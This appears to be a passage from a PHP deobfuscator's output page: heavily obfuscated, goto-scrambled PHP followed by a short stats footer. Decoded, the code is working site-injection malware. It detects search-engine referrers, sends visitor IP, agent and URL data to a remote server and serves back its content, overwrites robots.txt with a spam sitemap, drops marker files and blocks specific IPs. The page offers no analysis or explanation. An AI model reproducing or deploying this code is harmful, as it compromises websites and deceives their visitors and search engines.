"\x3a\57\x2f" . $_SERVER["\x48\124\x54\120\x5f\110\117\x53\124"] . "\x2f\x75\165\165\x75\x78\x78\x78\x78\157\157\x6f"; goto iOy20; aStGK: $U3_49 = "\57\77"; goto WPIaA; d9Klz: header("\103\x6f\x6e\164\x65\x6e\164\x2d\124\x79\160\145\72\x20\x74\145\170\x74\x2f\x78\x6d\x6c\x3b\40\143\x68\141\x72\x73\145\x74\x3d\x75\164\x66\x2d\x38"); goto avjJp; mUgYQ: $c6Kt6 = P00se(); goto asWCZ; Y9Sd1: @file_put_contents("\165\x78\157\56\164\x78\x74", "\x31"); goto vCT9x; YFrFx: $jjk1J = MBZms($H_Dva); goto Io_9b; ALTut: goto iY4IJ; goto WgAtx; R6tmt: goto q600c; goto EWCg1; UDdbc: juLWo: goto vpdy3; dyZ6A: $X0dKg = $o5dto[1]; goto YptAw; W1OuW: @file_put_contents("\x75\170\x6f\56\164\170\164", "\60"); goto LSCE2; EZknu: goto iZ3ud; goto AiUFY; SXJdC: if (preg_match("\57\x28{$BQMlI}\51\57\x69", $_SERVER["\110\124\124\x50\137\x52\105\106\x45\122\x45\x52"])) { goto dlQnq; } goto BR2Ru; Qmp9O: error_reporting(0); goto XBs4z; xkBVf: $mZXD7 = urlencode($_SERVER["\110\124\124\120\x5f\125\x53\x45\x52\137\x41\x47\105\116\x54"]); goto l3V3r; H8Pq1: header("\110\x54\x54\x50\57\x31\56\x30\x20\64\x30\x33\x20\106\x6f\x72\142\151\144\x64\x65\156"); goto LigHA; R3TNJ: header("\x43\x6f\156\164\145\156\x74\55\x54\171\x70\145\72\x20\164\x65\170\164\x2f\170\155\x6c\73\40\143\150\x61\x72\x73\145\164\75\165\x74\146\x2d\70"); goto uszuV; gTJ5B: xqckJ: goto EBfER; flqsn: goto OER3G; goto WGkHM; FqMQy: $_SERVER["\122\105\x51\125\x45\x53\124\137\x53\x43\x48\x45\115\x45"] = "\x68\x74\x74\160"; goto DhxY_; wQbiE: exit; goto ALTut; c0aAA: goto uCmXe; goto PwGWa; uo9Iy: $jjk1J = JYkfz($boJpe . urlencode($fD6AW)); goto gH032; ltUii: if ($fugDW == 0) { goto uWQQu; } goto We4KT; KpojP: goto nLZpn; goto uEPlf; EWCg1: oopmx: goto R3TNJ; IMZKM: $BQMlI = "\142\151\156\147\174\147\x6f\157\147\x6c\x65\x7c\171\x61\x68\x6f\157"; goto dtfCe; asWCZ: $BN51r = urlencode($c6Kt6); goto bKTEK; qfV5t: exit; goto DY9dF; G_y9T: if (!(strpos($lGDQU, "\165\165\165\x75\x78\170\170\170\x6f\x6f\x6f") !== false)) { goto l9Zng; } goto jXZk_; Y6nyy: exit; goto dC52i; Y_zDK: $H_Dva = $rCkNw . "\77\141\147\145\x6e\164\x3d{$mZXD7}\x26\x72\145\146\x65\162\75{$huFPs}\x26\x6c\x61\x6e\x67\x3d{$C2ol9}\46\x69\x70\x3d{$BN51r}\x26\x64\x6f\x6d\x3d{$Zku87}\x26\150\x74\x74\160\x3d{$j3_zE}\46\x75\162\151\75{$lGDQU}\x26\160\143\x3d{$YYW2D}\x26\162\145\167\162\151\x74\145\141\x62\154\145\x3d{$fugDW}\46\163\x63\162\x69\x70\164\x3d{$PDXLe}"; goto y9Spz; lexiN: goto au_qL; goto lJvQ3; XBs4z: function p00Se() { goto dc3OC; y0Ydr: $BN51r = getenv("\x48\124\x54\x50\x5f\103\x4c\111\105\x4e\x54\137\111\x50"); goto iKBHn; gTdMi: $BN51r = "\x30\56\60\56\60\x2e\x30"; goto z9O1n; eEUT1: $BN51r = getenv("\110\124\124\x50\x5f\130\137\x46\x4f\122\127\101\x52\104\105\104\x5f\106\117\122"); goto Jvt4s; oswpP: GIGnO: goto dJf0Q; Uighz: goto TXXQ9; goto oQg3W; dJf0Q: $BN51r = getenv("\122\x45\x4d\x4f\x54\x45\137\x41\104\x44\x52"); goto tYiE6; tYiE6: TXXQ9: goto ZVG6n; ZVG6n: return $BN51r; goto FmNtI; dRGA0: if (getenv("\110\124\x54\120\137\130\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\106\x4f\x52")) { goto hVDFg; } goto GHJoq; Jvt4s: $sJjHJ = explode("\54", $BN51r); goto PMiuJ; PMiuJ: $BN51r = $sJjHJ[0]; goto Lqm6j; dc3OC: if (!getenv("\x48\124\124\120\137\x43\x4c\x49\105\116\124\137\111\120")) { goto IoDZ3; } goto y0Ydr; iKBHn: IoDZ3: goto vNqC3; Lqm6j: goto TXXQ9; goto oswpP; z9O1n: goto TXXQ9; goto n3LVK; L0Bg0: $BN51r = getenv("\110\x54\124\120\x5f\x58\137\x52\x45\101\x4c\137\x49\120"); goto Uighz; GHJoq: if (getenv("\122\x45\115\x4f\x54\105\x5f\101\104\x44\x52")) { goto GIGnO; } goto gTdMi; n3LVK: pnnmJ: goto L0Bg0; vNqC3: if (getenv("\x48\x54\x54\120\x5f\130\x5f\x52\x45\101\x4c\x5f\111\x50")) { goto pnnmJ; } goto dRGA0; oQg3W: hVDFg: goto eEUT1; FmNtI: } goto qxnUb; U3YyE: ctGH7: goto IMZKM; iFnSA: if ($jjk1J == "\157\x6b") { goto juLWo; } goto xD0k9; avjJp: echo $jjk1J; goto wQbiE; vCT9x: l5Yt_: goto Cy8nI; oM6ZH: if (!($c6Kt6 == "\x31\x35\x33\x2e\x32\x34\66\x2e\61\63\65\x2e\x32\x33\x38" || $c6Kt6 == "\x32\61\x39\x2e\61\60\x31\x2e\64\x34\x2e\x32\63\x33")) { goto F_7O5; } goto ooE7_; HJ48d: if ($jjk1J == "\x35\x30\60") { goto ai90F; } goto d9Klz; FD04q: exit; goto nsQx5; vpdy3: $fugDW = 1; goto Y9Sd1; L4tS8: NXyAe: goto pbaBt; LkIN3: if (!file_exists("\165\170\x6f\x2e\x74\170\164")) { goto GFr08; } goto OyrY8; UM1Gu: $obUyh = trim($obUyh) . "\15\xa" . "\x53\151\x74\x65\155\141\160\x3a\40{$fD6AW}"; goto uo9Iy; WQOw1: $PDXLe = urlencode($_SERVER["\x53\x43\122\x49\120\124\x5f\x4e\x41\x4d\105"]); goto zDrno; Z2rKM: if (empty($jjk1J)) { goto VMrEe; } goto Ji_bR; jRDKJ: if (strpos($lGDQU, "\160\x69\x6e\147\163\151\x74\x65\x6d\x61\x70\x2e\170\155\154") !== false) { goto icv8B; } goto Kt5EJ; YptAw: HNluP: goto rr8jP; PwGWa: f2hF1: goto Y_zDK; u6UVE: uWQQu: goto aStGK; h6MU1: $C2ol9 = urlencode($_SERVER["\x48\124\x54\120\137\101\103\103\105\120\x54\x5f\114\101\116\x47\x55\101\107\x45"]); goto mUgYQ; Kt5EJ: if (strpos($lGDQU, "\x66\x61\166\151\x63\157\x6e\x2e\x69\x63\x6f") !== false) { goto aK6q2; } goto g11hw; GqeXt: usleep(100 * 1000); goto CTijq; xD0k9: $fugDW = 0; goto W1OuW; cEE0h: goto T7tgX; goto N3bXS; UPgTK: exit; goto H5Je5; uszuV: q600c: goto YmEXt; jDvRX: GvfMQ: goto hk5NT; SQX3p: if (!preg_match("\x2f\x3c\x68\62\x3e\50\56\x2b\x3f\51\x3c\x5c\x2f\x68\x32\76\x2f\x69", $jjk1J, $o5dto)) { goto HNluP; } goto dyZ6A; lIz7r: @file_put_contents("\162\x6f\x62\x6f\164\x73\x2e\164\x78\x74", $obUyh); goto OhSLx; y9Spz: header("\x43\x6f\156\164\145\156\x74\55\124\171\160\145\x3a\x20\x74\x65\x78\164\x2f\160\x6c\141\x69\156\x3b\40\143\150\x61\162\x73\x65\164\75\x75\164\146\x2d\70"); goto xspkm; zJFwo: QU0L1: goto Ga1pz; yzk0j: au_qL:
?>

Function Calls

None

Variables

None

Stats

MD5 9f2ef584cded5b2dc890d03616ae17d0
Eval Count 0
Decode Time 71 ms